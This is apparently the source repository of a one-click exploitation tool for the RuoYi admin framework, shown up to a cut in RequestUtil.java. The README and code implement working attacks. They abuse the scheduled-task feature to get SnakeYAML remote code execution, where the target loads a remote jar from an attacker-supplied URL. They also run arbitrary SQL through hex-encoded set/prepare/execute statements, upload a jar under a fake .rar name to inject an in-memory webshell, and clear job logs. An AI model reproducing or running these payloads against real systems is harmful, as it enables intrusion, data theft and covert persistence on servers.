├── ReadMe.md ├── Ruoyi-All-1.0-SNAPSHOT.jar ├── images ├── image-20220414232621492.png ├── image-20220414232656226.png ├── image-20220414232706070.png ├── image-20220414232716773.png ├── image-20220414232727932.png ├── image-20220414232737157.png └── image-20220414232743645.png ├── pom.xml └── src └── main ├── java └── com │ └── ruoyi │ ├── Main.java │ ├── controller │ └── MainController.java │ ├── exp │ ├── JdbcExp.java │ ├── UploadExp.java │ ├── VulScan.java │ └── YamlExp.java │ ├── global │ └── Config.java │ └── util │ ├── HexUtil.java │ ├── JobUtil.java │ ├── RequestUtil.java │ └── ResultUtil.java └── resources └── main.fxml /ReadMe.md: -------------------------------------------------------------------------------- 1 | 前几天审的若依的后台定时任务黑名单绕过漏洞,整合了一个小工具,提供了几个功能: 2 | 3 | - 低版本直接snakeyaml rce 4 | - 高版本利用jdbcTemplate执行sql语句,在 。师傅的提醒下可以绕过括号限制,并采用 set 和 execute 做到任意sql语句执行,目前提供 select单字段回显与执行update语句 5 | - 高版本利用jdbcTemplate绕过黑名单限制实现snakeyaml rce 6 | - 对于不出网主机,由于URLClassLoader只是加载字节流,对于文件名后缀没有要求且可以 file:// 协议传输,故可采用修改上传路径+上传jar包至本地方式,直接加载本地jar注入内存马,jar包上传后自动载入配置,可直接进入其他模块使用 7 | 8 | **效果如下:** 9 | 10 | - 漏洞检测 11 | 12 | ![image-20220414232621492](images/image-20220414232621492.png) 13 | 14 | * snakeyaml RCE: 15 | 16 | ![image-20220414232656226](images/image-20220414232656226.png) 17 | 18 | - 执行sql语句: 19 | 20 | ![image-20220414232706070](images/image-20220414232706070.png) 21 | 22 | - 绕过黑名单限制: 23 | 24 | ![image-20220414232716773](images/image-20220414232716773.png) 25 | 26 | - 不出网注入内存马: 27 | 28 | ![image-20220414232727932](images/image-20220414232727932.png) 29 | 30 | ![image-20220414232737157](images/image-20220414232737157.png) 31 | 32 | ![image-20220414232743645](images/image-20220414232743645.png) 33 | -------------------------------------------------------------------------------- /Ruoyi-All-1.0-SNAPSHOT.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/Ruoyi-All-1.0-SNAPSHOT.jar -------------------------------------------------------------------------------- /images/image-20220414232621492.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232621492.png -------------------------------------------------------------------------------- /images/image-20220414232656226.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232656226.png -------------------------------------------------------------------------------- /images/image-20220414232706070.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232706070.png -------------------------------------------------------------------------------- /images/image-20220414232716773.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232716773.png -------------------------------------------------------------------------------- /images/image-20220414232727932.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232727932.png -------------------------------------------------------------------------------- /images/image-20220414232737157.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232737157.png -------------------------------------------------------------------------------- /images/image-20220414232743645.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binganao/Ruoyi-All/b20eec1a2101f5efa54595e52cc3d196d86e1be0/images/image-20220414232743645.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.ruoyi 8 | Ruoyi-All 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | 15 | 16 | 17 | 18 | org.openjfx 19 | javafx-controls 20 | 11 21 | 22 | 23 | org.openjfx 24 | javafx-fxml 25 | 11 26 | 27 | 28 | junit 29 | junit 30 | 4.13.1 31 | compile 32 | 33 | 34 | 35 | 36 | 37 | 38 | org.openjfx 39 | javafx-maven-plugin 40 | 0.0.5 41 | 42 | 43 | top.lingkang.potato.PotatoApplication 44 | 45 | 46 | 47 | 48 | org.apache.maven.plugins 49 | maven-shade-plugin 50 | 51 | 52 | package 53 | 54 | shade 55 | 56 | 57 | 58 | 59 | com.ruoyi.Main 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/Main.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi; 2 | 3 | import javafx.application.Application; 4 | import javafx.fxml.FXMLLoader; 5 | import javafx.scene.Parent; 6 | import javafx.scene.Scene; 7 | import javafx.stage.Stage; 8 | 9 | public class Main extends Application { 10 | 11 | private static Stage stage; 12 | 13 | @Override 14 | public void start(Stage primaryStage) throws Exception{ 15 | Parent root = FXMLLoader.load(getClass().getResource("/main.fxml")); 16 | primaryStage.setTitle("若依一键利用工具"); 17 | primaryStage.setScene(new Scene(root, 900, 680)); 18 | primaryStage.show(); 19 | stage = primaryStage; 20 | } 21 | 22 | public static Stage getStage(){ 23 | return stage; 24 | } 25 | 26 | 27 | public static void main(String[] args) { 28 | launch(args); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/controller/MainController.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.controller; 2 | 3 | import com.ruoyi.Main; 4 | import com.ruoyi.exp.JdbcExp; 5 | import com.ruoyi.exp.VulScan; 6 | import com.ruoyi.exp.YamlExp; 7 | import com.ruoyi.exp.UploadExp; 8 | import com.ruoyi.global.Config; 9 | import com.ruoyi.util.HexUtil; 10 | import com.ruoyi.util.JobUtil; 11 | import com.ruoyi.util.RequestUtil; 12 | import com.ruoyi.util.ResultUtil; 13 | import javafx.beans.value.ChangeListener; 14 | import javafx.beans.value.ObservableValue; 15 | import javafx.event.EventHandler; 16 | import javafx.fxml.FXML; 17 | import javafx.fxml.Initializable; 18 | import javafx.scene.control.*; 19 | import javafx.scene.input.MouseEvent; 20 | import javafx.stage.FileChooser; 21 | 22 | import java.net.URL; 23 | import java.util.ResourceBundle; 24 | import java.util.regex.Matcher; 25 | import java.util.regex.Pattern; 26 | 27 | public class MainController implements Initializable { 28 | 29 | @FXML 30 | Tab vulTab; 31 | 32 | @FXML 33 | TextField urlText; 34 | 35 | @FXML 36 | TextField cookieText; 37 | 38 | @FXML 39 | Button submitBtn; 40 | 41 | @FXML 42 | TextArea vulText; 43 | 44 | @FXML 45 | Tab snakeyamlTab; 46 | 47 | @FXML 48 | TextField snakeyamlUrlText; 49 | 50 | @FXML 51 | Button snakeyamlBtn; 52 | 53 | @FXML 54 | TextArea snakeyamlText; 55 | 56 | @FXML 57 | Tab jdbcTab; 58 | 59 | @FXML 60 | TextArea jdbcText; 61 | 62 | @FXML 63 | ChoiceBox jdbcMode; 64 | 65 | @FXML 66 | Label jdbcPayloadLabel; 67 | 68 | @FXML 69 | Button jdbcBtn; 70 | 71 | @FXML 72 | TextField jdbcSqlText; 73 | 74 | @FXML 75 | Tab uploadTab; 76 | 77 | @FXML 78 | TextArea uploadText; 79 | 80 | @FXML 81 | TextField uploadPathText; 82 | 83 | @FXML 84 | ComboBox jarPathText; 85 | 86 | @FXML 87 | Button uploadBtn; 88 | 89 | public void conn() { 90 | ResultUtil.clear(); 91 | if (urlText.getText().isEmpty()) { 92 | urlText.setText("http://127.0.0.1:9090"); 93 | } else { 94 | if (urlText.getText().endsWith("/")) { 95 | urlText.setText(urlText.getText().substring(0, urlText.getText().length() - 1)); 96 | } 97 | } 98 | if (cookieText.getText().isEmpty()) { 99 | if (urlText.getText().equals("http://127.0.0.1:9090")) { 100 | cookieText.setText("sessionid=epngmgjx2rrd90itak61fm6ms545lnh7; JSESSIONID=f1038b7d-faea-4c77-a7d9-14b5f713f5f6;"); 101 | } else { 102 | ResultUtil.fail("Cookie不能为空"); 103 | return; 104 | } 105 | } 106 | Config.url = urlText.getText(); 107 | Config.cookie = cookieText.getText(); 108 | String resp = RequestUtil.get(Config.url, Config.cookie); 109 | Pattern pattern = Pattern.compile("

(.*?)

"); 110 | Matcher matcher = pattern.matcher(resp); 111 | if (matcher.find()) { 112 | Config.isConnected = true; 113 | String user = matcher.group(1); 114 | ResultUtil.success("登陆成功,当前用户:" + user); 115 | ResultUtil.log("正在检测漏洞..."); 116 | VulScan.scan(); 117 | if (!Config.vulMode.contains("snakeyaml")) { 118 | snakeyamlTab.setDisable(true); 119 | } 120 | if (!Config.vulMode.contains("jdbc")) { 121 | jdbcTab.setDisable(true); 122 | uploadTab.setDisable(true); 123 | } 124 | } else { 125 | ResultUtil.fail("登陆失败"); 126 | } 127 | } 128 | 129 | public boolean checkConn() { 130 | if (!Config.isConnected) { 131 | ResultUtil.log("请先配置连接信息"); 132 | return false; 133 | } 134 | return true; 135 | } 136 | 137 | 138 | public void changeResultText(Tab tab, TextArea resultText) { 139 | if (tab.isSelected()) { 140 | Config.resultText = resultText; 141 | } 142 | } 143 | 144 | public void yamlExp() { 145 | if (!checkConn()) return; 146 | ResultUtil.clear(); 147 | if (snakeyamlUrlText.getText().isEmpty()) { 148 | snakeyamlUrlText.setText("http://127.0.0.1:8081/1.jar"); 149 | } 150 | Config.snakeyamlUrl = snakeyamlUrlText.getText(); 151 | String exception = YamlExp.exp(); 152 | if (!exception.isEmpty()) { 153 | ResultUtil.fail("远程jar包加载失败,异常原因:" + exception); 154 | } else { 155 | ResultUtil.success("远程jar包加载成功"); 156 | } 157 | } 158 | 159 | public void sqlExp() { 160 | if (!checkConn()) return; 161 | ResultUtil.clear(); 162 | if (jdbcSqlText.getText().equals("")) { 163 | if (jdbcMode.getValue().equals("snakeyaml RCE")) { 164 | jdbcSqlText.setText("http://127.0.0.1:8081/1.jar"); 165 | } else { 166 | jdbcSqlText.setText("select user();"); 167 | jdbcMode.setValue(jdbcMode.getItems().get(0)); 168 | } 169 | } 170 | String sql = jdbcSqlText.getText(); 171 | String mode; 172 | if (jdbcMode.getValue().equals("snakeyaml RCE")) { 173 | Config.snakeyamlUrl = jdbcSqlText.getText(); 174 | sql = "0x" + HexUtil.string2HexString("org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"{jarUrl}\"]]]]')".replace("{jarUrl}", jdbcSqlText.getText())); 175 | mode = "snakeyaml"; 176 | String exception = JdbcExp.sqlExp(sql, mode); 177 | if (exception.equals("")) { 178 | ResultUtil.success("远程jar包加载成功"); 179 | } else { 180 | ResultUtil.fail("远程jar包加载失败,异常原因:" + exception); 181 | } 182 | } else { 183 | if (jdbcMode.getValue().toString().contains("select")) { 184 | mode = "select"; 185 | ResultUtil.success(JdbcExp.sqlExp(sql, mode)); 186 | } else { 187 | mode = "update"; 188 | JdbcExp.sqlExp(sql, mode); 189 | String exception = JobUtil.getLog(); 190 | if (exception.equals("")) { 191 | ResultUtil.success("update语句执行成功"); 192 | } else { 193 | ResultUtil.fail("update语句执行失败,异常原因:" + exception); 194 | } 195 | } 196 | } 197 | } 198 | 199 | public void uploadExp() { 200 | if (!checkConn()) return; 201 | ResultUtil.clear(); 202 | System.out.println(uploadPathText.getText()); 203 | if (!uploadPathText.getText().isEmpty()) { 204 | if (UploadExp.setProfile(uploadPathText.getText())) { 205 | ResultUtil.success("修改文件上传路径成功,当前地址:" + uploadPathText.getText()); 206 | Config.uploadPath = uploadPathText.getText(); 207 | } else { 208 | ResultUtil.fail("修改文件上传路径失败"); 209 | } 210 | } 211 | if (Config.uploadPath.isEmpty()) { 212 | ResultUtil.log("请先修改上传路径"); 213 | return; 214 | } 215 | if (!jarPathText.getItems().isEmpty()) { 216 | String jarFilePath = UploadExp.uploadJar().replace("/profile", ""); 217 | if(!jarFilePath.isEmpty()) { 218 | Config.snakeyamlUrl = "file:///" + Config.uploadPath + jarFilePath; 219 | ResultUtil.success("上传jar包成功,自动配置jar包路径:"+Config.snakeyamlUrl); 220 | } else { 221 | ResultUtil.fail("上传失败"); 222 | } 223 | } 224 | } 225 | 226 | 227 | @Override 228 | public void initialize(URL location, ResourceBundle resources) { 229 | changeResultText(vulTab, vulText); 230 | vulTab.setOnSelectionChanged(event -> { 231 | changeResultText(vulTab, vulText); 232 | }); 233 | submitBtn.setOnAction(event -> { 234 | conn(); 235 | }); 236 | 237 | 238 | snakeyamlTab.setOnSelectionChanged(event -> { 239 | changeResultText(snakeyamlTab, snakeyamlText); 240 | }); 241 | snakeyamlBtn.setOnAction(event -> { 242 | yamlExp(); 243 | }); 244 | 245 | 246 | jdbcTab.setOnSelectionChanged(event -> { 247 | changeResultText(jdbcTab, jdbcText); 248 | if (!Config.snakeyamlUrl.isEmpty()) { 249 | snakeyamlUrlText.setText(Config.snakeyamlUrl); 250 | } 251 | }); 252 | jdbcMode.getItems().addAll(new String[]{"select查询", "update更新", "snakeyaml RCE"}); 253 | jdbcMode.setValue(jdbcMode.getItems().get(0)); 254 | jdbcPayloadLabel.setText("请输入select查询语句"); 255 | 256 | jdbcMode.getSelectionModel().selectedItemProperty().addListener(new ChangeListener() { 257 | @Override 258 | public void changed(ObservableValue observable, Object oldValue, Object newValue) { 259 | System.out.println(newValue); 260 | if (newValue.equals("update更新")) { 261 | jdbcSqlText.setText(""); 262 | jdbcPayloadLabel.setText("请输入update更新语句"); 263 | } else if (newValue.equals("snakeyaml RCE")) { 264 | jdbcPayloadLabel.setText("请输入远程jar包地址"); 265 | if (!Config.snakeyamlUrl.isEmpty()) { 266 | jdbcSqlText.setText(Config.snakeyamlUrl); 267 | } 268 | } else { 269 | jdbcSqlText.setText(""); 270 | jdbcPayloadLabel.setText("请输入select查询语句"); 271 | } 272 | } 273 | }); 274 | jdbcBtn.setOnAction(event -> { 275 | sqlExp(); 276 | }); 277 | 278 | 279 | uploadTab.setOnSelectionChanged(event -> { 280 | changeResultText(uploadTab, uploadText); 281 | }); 282 | uploadBtn.setOnAction(event -> { 283 | uploadExp(); 284 | }); 285 | jarPathText.addEventHandler(MouseEvent.MOUSE_CLICKED, new EventHandler() { 286 | @Override 287 | public void handle(MouseEvent event) { 288 | FileChooser fileChooser = new FileChooser(); 289 | fileChooser.setTitle("请选择jar包路径"); 290 | fileChooser.getExtensionFilters().add(new FileChooser.ExtensionFilter("jar文件", "*.jar")); 291 | Config.jarFile = fileChooser.showOpenDialog(Main.getStage()); 292 | if (Config.jarFile.exists()) { 293 | jarPathText.getItems().add(Config.jarFile.getName()); 294 | jarPathText.setValue(Config.jarFile); 295 | } 296 | } 297 | }); 298 | 299 | 300 | } 301 | } 302 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/exp/JdbcExp.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.exp; 2 | 3 | import com.ruoyi.global.Config; 4 | import com.ruoyi.util.HexUtil; 5 | import com.ruoyi.util.JobUtil; 6 | 7 | import java.util.Random; 8 | import java.util.regex.Matcher; 9 | import java.util.regex.Pattern; 10 | 11 | public class JdbcExp { 12 | 13 | public static String jdbcSql = "update sys_job set invoke_target=({sql}) where job_id={jobId};"; 14 | public static String jdbcPayloadSet = "jdbcTemplate.execute(\"set @{variable} = 0x{hexSql};\")"; 15 | public static String jdbcPayloadPrepare = "jdbcTemplate.execute(\"prepare {variable} from @{variable};\")"; 16 | public static String jdbcPayloadExecute = "jdbcTemplate.execute(\"execute {variable};\")"; 17 | public static String invokeTargetPatternStr = "调用目标字符串:[\\w\\W]*?div class=\"form-control-static\">(.*?)"; 18 | public static String jdbcPayloadYaml = "jdbcTemplate.execute(\"{sql}\")"; 19 | 20 | 21 | public static String variable; 22 | 23 | // 通过将返回值写入jobInvokeTarget得到回显结果 24 | public static String getResult() { 25 | String resp = Config.get("/monitor/job/detail/" + Config.jobId); 26 | Pattern invokeTargetPattern = Pattern.compile(invokeTargetPatternStr); 27 | Matcher matcher = invokeTargetPattern.matcher(resp); 28 | String result = ""; 29 | if (matcher.find()) { 30 | result = matcher.group(1); 31 | } 32 | return result; 33 | } 34 | 35 | public static String sqlExp(String sql, String mode) { 36 | JobUtil.clearLog(); 37 | int failCount = 0; 38 | try { 39 | variable = "a" + new Random().nextInt(10); 40 | String updateSql; 41 | if (mode.equals("update")) { 42 | if (!sql.endsWith(";")) { 43 | sql = sql+";"; 44 | } 45 | updateSql = sql; 46 | } else { 47 | if (sql.endsWith(";")) { 48 | sql = sql.replace(";", ""); 49 | } 50 | updateSql = jdbcSql.replace("{sql}", sql).replace("{jobId}", Config.jobId); 51 | } 52 | if (mode.equals("snakeyaml")) { 53 | JobUtil.expJob(jdbcPayloadYaml.replace("{sql}", updateSql.replace("(", "").replace(")", ""))); 54 | return JobUtil.runJob(); 55 | } 56 | String hexSql = HexUtil.string2HexString(updateSql); 57 | String setInvoke = jdbcPayloadSet.replace("{hexSql}", hexSql).replace("{variable}", variable); 58 | while (!JobUtil.expJob(setInvoke).isEmpty() & failCount<10) { 59 | failCount++; 60 | } 61 | failCount = 0; 62 | while (!JobUtil.expJob(jdbcPayloadPrepare.replace("{variable}", variable)).isEmpty() & failCount<10) { 63 | failCount++; 64 | } 65 | failCount = 0; 66 | while (!JobUtil.expJob(jdbcPayloadExecute.replace("{variable}", variable)).isEmpty() & failCount<10) { 67 | failCount++; 68 | } 69 | return getResult(); 70 | } catch (Exception e) { 71 | return ""; 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/exp/UploadExp.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.exp; 2 | 3 | import com.ruoyi.global.Config; 4 | import com.ruoyi.util.JobUtil; 5 | 6 | import java.util.regex.Matcher; 7 | import java.util.regex.Pattern; 8 | 9 | public class UploadExp { 10 | 11 | public static String setProfilePayload = "ruoYiConfig.setProfile(\"{uploadPath}\")"; 12 | 13 | public static boolean setProfile(String uploadPath) { 14 | JobUtil.clearLog(); 15 | return JobUtil.expJob(setProfilePayload.replace("{uploadPath}", uploadPath)).isEmpty(); 16 | } 17 | 18 | public static String uploadJar() { 19 | Pattern filePattern = Pattern.compile("\"fileName\":\"(.*?)\""); 20 | String resp = Config.upload(Config.uploadUrlPath, "1.rar", Config.jarFile); 21 | Matcher matcher = filePattern.matcher(resp); 22 | if(matcher.find()){ 23 | return matcher.group(1); 24 | } else { 25 | return ""; 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/exp/VulScan.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.exp; 2 | 3 | import com.ruoyi.global.Config; 4 | import com.ruoyi.util.JobUtil; 5 | import com.ruoyi.util.ResultUtil; 6 | import java.util.List; 7 | 8 | public class VulScan { 9 | 10 | 11 | public static void scan() { 12 | List jobList = JobUtil.getList(); 13 | if (jobList.isEmpty()) { 14 | ResultUtil.log("定时任务列表为空,新建任务..."); 15 | JobUtil.createJob(); 16 | jobList = JobUtil.getList(); 17 | ResultUtil.log("绑定 JobId=" + jobList.get(0) + " 的定时任务"); 18 | } else { 19 | ResultUtil.log("存在定时任务,绑定 JobId=" + jobList.get(0) + " 的定时任务"); 20 | 21 | } 22 | Config.jobId = jobList.get(0); 23 | yamlTest(); 24 | jdbcTest(); 25 | } 26 | 27 | public static void yamlTest(){ 28 | if(JobUtil.updateJob("org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1\"]]]]')")){ 29 | ResultUtil.success("存在 snakeyaml 远程命令执行漏洞"); 30 | Config.vulMode.add("snakeyaml"); 31 | } else { 32 | ResultUtil.fail("不存在 snakeyaml 远程命令执行漏洞"); 33 | } 34 | } 35 | 36 | public static void jdbcTest(){ 37 | if(JobUtil.updateJob("jdbcTemplate.execute(\"select user()\")")){ 38 | ResultUtil.success("存在 jdbcTemplate 任意sql语句执行漏洞"); 39 | Config.vulMode.add("jdbc"); 40 | } else { 41 | ResultUtil.fail("不存在 jdbcTemplate 任意sql语句执行漏洞"); 42 | } 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/exp/YamlExp.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.exp; 2 | 3 | import com.ruoyi.global.Config; 4 | import com.ruoyi.util.JobUtil; 5 | 6 | public class YamlExp { 7 | public static final String yamlPayload = "org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"{jarUrl}\"]]]]')"; 8 | 9 | // 返回异常信息(如有) 10 | public static String exp(){ 11 | JobUtil.clearLog(); 12 | return JobUtil.expJob(yamlPayload.replace("{jarUrl}", Config.snakeyamlUrl)); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/global/Config.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.global; 2 | 3 | 4 | import com.ruoyi.util.RequestUtil; 5 | import javafx.scene.control.TextArea; 6 | 7 | import java.io.File; 8 | import java.io.FileInputStream; 9 | import java.io.InputStream; 10 | import java.util.ArrayList; 11 | import java.util.HashMap; 12 | import java.util.List; 13 | 14 | public class Config { 15 | 16 | public static String url; 17 | public static String cookie; 18 | public static Boolean isConnected = false; 19 | public static String snakeyamlUrl = ""; 20 | public static TextArea resultText; 21 | public static String jobId; 22 | public static List vulMode = new ArrayList(); 23 | public static String uploadPath = ""; 24 | public static File jarFile = null; 25 | 26 | 27 | public final static String jobListPath = "/monitor/job/list"; 28 | public final static String jobAddPath = "/monitor/job/add"; 29 | public final static String jobEditPath = "/monitor/job/edit"; 30 | public final static String jobRunPath = "/monitor/job/run"; 31 | public final static String jobLogListPath = "/monitor/jobLog/list"; 32 | public final static String jobLogCleanPath = "/monitor/jobLog/clean"; 33 | public final static String uploadUrlPath = "/common/upload"; 34 | 35 | 36 | public static String get(String path) { 37 | return RequestUtil.get(url + path, cookie); 38 | } 39 | 40 | public static String post(String path, String param) { 41 | return RequestUtil.post(url + path, param, cookie); 42 | } 43 | 44 | public static String upload(String path, String filename, File file) { 45 | try { 46 | HashMap hashMap = new HashMap<>(); 47 | hashMap.put(filename, new FileInputStream(file)); 48 | return RequestUtil.upload(url + path, hashMap, cookie); 49 | } catch (Exception e){ 50 | return ""; 51 | } 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/util/HexUtil.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.util; 2 | 3 | public class HexUtil { 4 | public static String bytes2HexString(byte[] b) { 5 | 6 | StringBuffer result = new StringBuffer(); 7 | 8 | for (int i = 0; i < b.length; i++) { 9 | 10 | result.append(String.format("%02X", b[i])); 11 | 12 | } 13 | 14 | return result.toString(); 15 | 16 | } 17 | 18 | /** 19 | * @param src 16进制字符串 20 | * @return 字节数组 21 | * @Title:hexString2Bytes 22 | * @Description:16进制字符串转字节数组 23 | */ 24 | 25 | public static byte[] hexString2Bytes(String src) { 26 | 27 | int l = src.length() / 2; 28 | 29 | byte[] ret = new byte[l]; 30 | 31 | for (int i = 0; i < l; i++) { 32 | 33 | ret[i] = Integer.valueOf(src.substring(i * 2, i * 2 + 2), 16).byteValue(); 34 | 35 | } 36 | 37 | return ret; 38 | 39 | } 40 | 41 | /** 42 | * @param strPart 字符串 43 | * @return 16进制字符串 44 | * @Title:string2HexString 45 | * @Description:字符串转16进制字符串 46 | */ 47 | 48 | public static String string2HexString(String strPart) { 49 | 50 | try { 51 | 52 | return bytes2HexString(strPart.getBytes()); 53 | 54 | } catch (Exception e) { 55 | 56 | return ""; 57 | 58 | } 59 | 60 | } 61 | 62 | /** 63 | * @param src 16进制字符串 64 | * @return 字节数组 65 | * @Title:hexString2String 66 | * @Description:16进制字符串转字符串 67 | */ 68 | 69 | public static String hexString2String(String src) { 70 | 71 | try { 72 | 73 | byte[] bts = hexString2Bytes(src); 74 | return new String(bts); 75 | 76 | } catch (Exception e) { 77 | 78 | return src; 79 | 80 | } 81 | 82 | } 83 | 84 | } 85 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/util/JobUtil.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.util; 2 | 3 | import com.ruoyi.global.Config; 4 | 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | import java.util.regex.Matcher; 8 | import java.util.regex.Pattern; 9 | 10 | public class JobUtil { 11 | 12 | 13 | public final static String listParam = "pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&jobName=&jobGroup=&status="; 14 | public final static String createParam = "createBy=admin&jobName=1&jobGroup=DEFAULT&invokeTarget=1&cronExpression=1&misfirePolicy=1&concurrent=1&status=0&remark="; 15 | public final static String updateParam = "jobId={jobId}&updateBy=1&jobName=1&jobGroup=DEFAULT&invokeTarget={jonInvokeTarget}&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark="; 16 | public final static String runParam = "jobId={jobId}"; 17 | public final static String logListParam = "pageSize=1&pageNum=1&orderByColumn=createTime&isAsc=desc&jobName=&jobGroup=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D="; 18 | public final static String exceptionPatternStr = "\"exceptionInfo\":\"(.*?)\","; 19 | public static String currentInvokeTarget; 20 | 21 | public static int logCount = 0; 22 | 23 | 24 | public static List getList() { 25 | List jobList = new ArrayList(); 26 | String resp = Config.post(Config.jobListPath, listParam); 27 | Pattern jobPattern = Pattern.compile("\"jobId\":(.*?),"); 28 | Matcher matcher = jobPattern.matcher(resp); 29 | while (matcher.find()) { 30 | jobList.add((matcher.group(1))); 31 | } 32 | return jobList; 33 | } 34 | 35 | public static void createJob() { 36 | Config.post(Config.jobAddPath, createParam); 37 | } 38 | 39 | 40 | public static boolean updateJob(String jobInvokeTarget) { 41 | String param = updateParam.replace("{jobId}", Config.jobId).replace("{jonInvokeTarget}", jobInvokeTarget); 42 | String resp = Config.post(Config.jobEditPath, param); 43 | currentInvokeTarget = jobInvokeTarget; 44 | return resp.contains("\"code\":0"); 45 | } 46 | 47 | public static String runJob() { 48 | Config.post(Config.jobRunPath, runParam.replace("{jobId}", Config.jobId)); 49 | return getLog(); 50 | } 51 | 52 | // 直接返回日志,无需再次调用 53 | public static String expJob(String jobInvokeTarget) { 54 | if (updateJob(jobInvokeTarget)) { 55 | return runJob(); 56 | } else { 57 | return ""; 58 | } 59 | } 60 | 61 | public static String getLog() { 62 | // 递归获取日志信息,如无异常则返回"" 63 | logCount++; 64 | // String currentExceptionPatternStr = exceptionPatternStr.replace("{currentInvokeTarget}", currentInvokeTarget.replace("\"", "\\\\\"").replace("(", "\\(").replace(")", "\\)")); 65 | Pattern exceptionPattern = Pattern.compile(exceptionPatternStr); 66 | String resp = Config.post(Config.jobLogListPath, logListParam); 67 | System.out.println(resp); 68 | Matcher matcher = exceptionPattern.matcher(resp); 69 | if (matcher.find()) { 70 | logCount = 0; 71 | clearLog(); 72 | return matcher.group(1); 73 | } else { 74 | if (logCount > 10) { 75 | logCount = 0; 76 | clearLog(); 77 | return ""; 78 | } 79 | return getLog(); 80 | } 81 | } 82 | 83 | public static void clearLog() { 84 | Config.post(Config.jobLogCleanPath, ""); 85 | } 86 | 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/com/ruoyi/util/RequestUtil.java: -------------------------------------------------------------------------------- 1 | package com.ruoyi.util; 2 | 3 | import java.io.*; 4 | import java.net.HttpURLConnection; 5 | import java.net.URL; 6 | import java.net.URLConnection; 7 | import java.util.HashMap; 8 | import java.util.Iterator; 9 | import java.util.List; 10 | import java.util.Map; 11 | 12 | public class RequestUtil { 13 | 14 | public static String get(String url) { 15 | return get(url, ""); 16 | } 17 | 18 | public static String post(String url, String param) { 19 | return post(url, param, ""); 20 | } 21 | 22 | 23 | /** 24 | * 向指定URL发送GET方法的请求 25 | * 26 | * @param url 发送请求的URL 27 | * @return URL 所代表远程资源的响应结果 28 | */ 29 | public static String get(String url, String cookie) { 30 | String result = ""; 31 | BufferedReader in = null; 32 | try { 33 | String urlNameString = url; 34 | URL realUrl = new URL(urlNameString); 35 | // 打开和URL之间的连接 36 | URLConnection conn = realUrl.openConnection(); 37 | // 设置通用的请求属性 38 | conn.setRequestProperty("accept", "*/*"); 39 | conn.setRequestProperty("connection", "Keep-Alive"); 40 | conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); 41 | conn.setRequestProperty("Cookie", cookie); 42 | // 建立实际的连接 43 | conn.connect(); 44 | // 定义 BufferedReader输入流来读取URL的响应 45 | in = new BufferedReader(new InputStreamReader(conn.getInputStream())); 46 | String line; 47 | while ((line = in.readLine()) != null) { 48 | result += line + "\n"; 49 | } 50 | } catch (Exception e) { 51 | System.out.println("发送GET请求出现异常!" + e); 52 | e.printStackTrace(); 53 | } 54 | // 使用finally块来关闭输入流 55 | finally { 56 | try { 57 | if (in != null) { 58 | in.close(); 59 | } 60 | } catch (Exception e2) { 61 | e2.printStackTrace(); 62 | } 63 | } 64 | return result; 65 | } 66 | 67 | /** 68 | * 向指定 URL 发送POST方法的请求 69 | * 70 | * @param url 发送请求的 URL 71 | * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 72 | * @return 所代表远程资源的响应结果 73 | */ 74 | public static String post(String url, String param, String cookie) { 75 | PrintWriter out = null; 76 | BufferedReader in = null; 77 | String result = ""; 78 | try { 79 | URL realUrl = new URL(url); 80 | // 打开和URL之间的连接 81 